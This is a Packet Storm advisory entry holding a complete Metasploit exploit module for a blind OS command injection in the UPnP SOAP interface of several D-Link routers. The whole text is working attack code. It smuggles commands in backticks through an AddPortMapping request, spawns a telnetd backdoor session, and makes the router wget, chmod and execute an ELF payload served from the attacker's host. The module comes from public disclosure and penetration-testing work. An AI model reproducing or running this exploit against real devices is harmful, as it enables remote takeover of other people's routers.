D-Link Devices UPnP SOAP Command Execution

2013-07-23T00:00:00
ID PACKETSTORM:122511
Type packetstorm
Reporter Michael Messner
Modified 2013-07-23T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Auxiliary::CommandShell  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'D-Link Devices UPnP SOAP Command Execution',  
'Description' => %q{  
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP  
interface. Since it is a blind OS command injection vulnerability, there is no  
output for the executed command when using the CMD target. Additionally, two targets  
are included, to start a telnetd service and establish a session over it, or deploy a  
native mipsel payload. This module has been tested successfully on DIR-300, DIR-600,  
DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer,  
more D-Link devices may affected.  
},  
'Author' =>  
[  
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module  
'juan vazquez' # minor help with msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '94924' ],  
[ 'BID', '61005' ],  
[ 'EDB', '26664' ],  
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]  
],  
'DisclosureDate' => 'Jul 05 2013',  
'Privileged' => true,  
'Platform' => ['linux','unix'],  
'Payload' =>  
{  
'DisableNops' => true,  
},  
'Targets' =>  
[  
[ 'CMD', #all devices  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix'  
}  
],  
[ 'Telnet', #all devices - default target  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix'  
}  
],  
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed  
{  
'Arch' => ARCH_MIPSLE,  
'Platform' => 'linux'  
}  
],  
],  
'DefaultTarget' => 1  
))  
  
register_options(  
[  
Opt::RPORT(49152), #port of UPnP SOAP webinterface  
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),  
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),  
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),  
], self.class)  
end  
  
def exploit  
@new_portmapping_descr = rand_text_alpha(8)  
@new_external_port = rand(65535)  
@new_internal_port = rand(65535)  
  
if target.name =~ /CMD/  
exploit_cmd  
elsif target.name =~ /Telnet/  
exploit_telnet  
else  
exploit_mips  
end  
end  
  
def exploit_cmd  
if not (datastore['CMD'])  
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")  
end  
cmd = payload.encoded  
type = "add"  
res = request(cmd, type)  
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")  
end  
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")  
type = "delete"  
res = request(cmd, type)  
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")  
end  
return  
end  
  
def exploit_telnet  
telnetport = rand(65535)  
  
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")  
  
cmd = "telnetd -p #{telnetport}"  
type = "add"  
res = request(cmd, type)  
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")  
end  
type = "delete"  
res = request(cmd, type)  
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")  
end  
  
begin  
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })  
  
if sock  
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")  
add_socket(sock)  
else  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")  
end  
  
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"  
auth_info = {  
:host => rhost,  
:port => telnetport,  
:sname => 'telnet',  
:user => "",  
:pass => "",  
:source_type => "exploit",  
:active => true  
}  
report_auth_info(auth_info)  
merge_me = {  
'USERPASS_FILE' => nil,  
'USER_FILE' => nil,  
'PASS_FILE' => nil,  
'USERNAME' => nil,  
'PASSWORD' => nil  
}  
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)  
rescue  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")  
end  
return  
end  
  
def exploit_mips  
  
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))  
  
#thx to Juan for his awesome work on the mipsel elf support  
@pl = generate_payload_exe  
@elf_sent = false  
  
#  
# start our server  
#  
resource_uri = '/' + downfile  
  
if (datastore['DOWNHOST'])  
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri  
else  
#do not use SSL  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
  
#we use SRVHOST as download IP for the coming wget command.  
#SRVHOST needs a real IP address of our download host  
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")  
srv_host = Rex::Socket.source_address(rhost)  
else  
srv_host = datastore['SRVHOST']  
end  
  
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri  
  
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")  
start_service({'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}})  
  
datastore['SSL'] = true if ssl_restore  
end  
  
#  
# download payload  
#  
print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}")  
#this filename is used to store the payload on the device  
filename = rand_text_alpha_lower(8)  
  
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"  
type = "add"  
res = request(cmd, type)  
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")  
end  
  
# wait for payload download  
if (datastore['DOWNHOST'])  
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")  
select(nil, nil, nil, datastore['HTTP_DELAY'])  
else  
wait_linux_payload  
end  
  
register_file_for_cleanup("/tmp/#{filename}")  
  
type = "delete"  
res = request(cmd, type)  
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")  
end  
end  
  
def request(cmd, type)  
  
uri = '/soap.cgi'  
  
data_cmd = "<?xml version=\"1.0\"?>"  
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"  
data_cmd << "<SOAP-ENV:Body>"  
  
if type == "add"  
vprint_status("#{rhost}:#{rport} - adding portmapping")  
  
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"  
  
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"  
data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"  
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"  
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"  
data_cmd << "<NewEnabled>1</NewEnabled>"  
data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"  
data_cmd << "<NewRemoteHost></NewRemoteHost>"  
data_cmd << "<NewProtocol>TCP</NewProtocol>"  
data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"  
data_cmd << "</m:AddPortMapping>"  
else  
#we should clean it up ... otherwise we are not able to exploit it multiple times  
vprint_status("#{rhost}:#{rport} - deleting portmapping")  
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"  
  
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"  
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"  
data_cmd << "</m:DeletePortMapping>"  
end  
  
data_cmd << "</SOAP-ENV:Body>"  
data_cmd << "</SOAP-ENV:Envelope>"  
  
begin  
res = send_request_cgi({  
'uri' => uri,  
'vars_get' => {  
'service' => 'WANIPConn1'  
},  
'ctype' => "text/xml",  
'method' => 'POST',  
'headers' => {  
'SOAPAction' => soapaction,  
},  
'data' => data_cmd  
})  
return res  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")  
return nil  
end  
end  
  
# Handle incoming requests from the server  
def on_request_uri(cli, request)  
#print_status("on_request_uri called: #{request.inspect}")  
if (not @pl)  
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")  
return  
end  
print_status("#{rhost}:#{rport} - Sending the payload to the server...")  
@elf_sent = true  
send_response(cli, @pl)  
end  
  
# wait for the data to be sent  
def wait_linux_payload  
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")  
  
waited = 0  
while (not @elf_sent)  
select(nil, nil, nil, 1)  
waited += 1  
if (waited > datastore['HTTP_DELAY'])  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")  
end  
end  
end  
end  
`